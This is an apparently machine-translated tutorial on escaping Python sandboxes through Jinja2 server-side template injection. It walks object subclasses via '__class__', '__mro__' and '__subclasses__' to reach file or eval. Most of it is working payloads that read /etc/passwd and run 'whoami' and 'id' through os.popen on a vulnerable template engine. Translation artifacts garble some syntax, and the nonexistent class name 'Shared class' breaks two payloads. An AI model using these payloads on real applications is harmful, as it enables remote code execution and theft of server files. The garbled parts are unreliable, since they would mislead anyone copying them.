The process of sandbox escape is the process of getting out of various filtering and restrictions in a code execution environment, and finally obtaining shell permissions. That is, bypassing various blacklists and finally getting system command execution permissions.
__ class__Returns the object to which the type belongs
__ mro__Returns a tuple containing the base classes inherited by the object, and the method is parsed in the order of tuples during parsing.
__ base__Returns the base class inherited by this object// __base__with__mro__Are used to find the base class
__ subclasses__Each new class retains references to subclasses, this method returns a list of references that are still available in the class
__ init__Class initialization method
__ globals__Reference to a dictionary containing function global variables
__ builtin__Built-in functions, some functions can be run directly in python, such as int(),list()Wait, these functions can be__builtins__Can be found in. The method to view is dir(__builtins__)
After we open the python compiler, even if no variables or functions are created, we still have functions that can be called in python, which is the so-called built-in function.
Through the magic methods in python mentioned above, we can use any variable to the base class
, get all the implemented classes in the base class, and then call the corresponding member variables. So as to achieve the sandbox escape.
As we all know, python is an object-oriented programming language, in which everything is an object. All inherit the Object object.
__ Both base__
and __mro__
are used to find base classes. From the above figure, we can see that the base classes are all Object.
Get the class object of the string
''.__ class__
Get the base class address
''.__ class__.__mro__
View implementation classes and members
''.__ class__.__mro__[1].__subclasses__()
Control structure{%%}
Variable value{{}}
Comment{# #}
Cannot directly reference ('',[ ])
like string objects and list objects, so we can only use the attributes and methods mentioned above
for c in{}.__class__.__base__.__subclasses__():if(c.__name__=='file'):print(c)
print c('test.txt').readlines()
Analyzing the code, we can know that the base class is Object
and then take all the subclasses of Object. Look for the file class in the subclasses. If it can be found, use the file construction method to create the object, and then use readlines() to read the file content.
The syntax for jinja2 is
{ %for c in[].__class__.__base__.__subclasses__()%}{%if c.__name__=='file'%}{{"find!"}}{{c("/etc/passwd").readlines()}}{% endif %}{% endfor %}
Not found in docker container
But it's ok locally
Then I went to Baidu for a bit. Why can’t I find file? I found that there is no file class in python3. The above method only applies to python2.
Since file can't be used in python3, then look for eval. If you have it, you will still worry!
We look for __builtins__
in python2 and python3 for common classes. Then construct universal arbitrary execution code.
for c in().__class__.__bases__[0].__subclasses__():if c.__name__=='Shared class':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
jinja2 syntax
{ %for c in[].__class__.__base__.__subclasses__()%}{%if c.__name__=='Shared class'%}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}{% endif %}{% endfor %}
The principle is similar to the above, first take all subclasses to see if there is catch_warnings
, the variable b is traversed under globals__.values()
.
Determine whether the type of variable b is {}.__class__
, if eval is in b.keys, execute the code constructed under eval.
{ %for c in[].__class__.__base__.__subclasses__()%}{%if c.__name__ =='catch_warnings'%}{%for b in c.__init__.__globals__.values()%}{%if b.__class__ =={}.__class__ %}{%if'eval'in b.keys()%}{{ b['eval']('__import__("os").popen("id").read()')}}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
Another payload construction method
{ %for c in[].__class__.__base__.__subclasses__()%}{%if c.__name__=='catch_warnings'%}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}{% endif %}{% endfor %}
Recommended Posts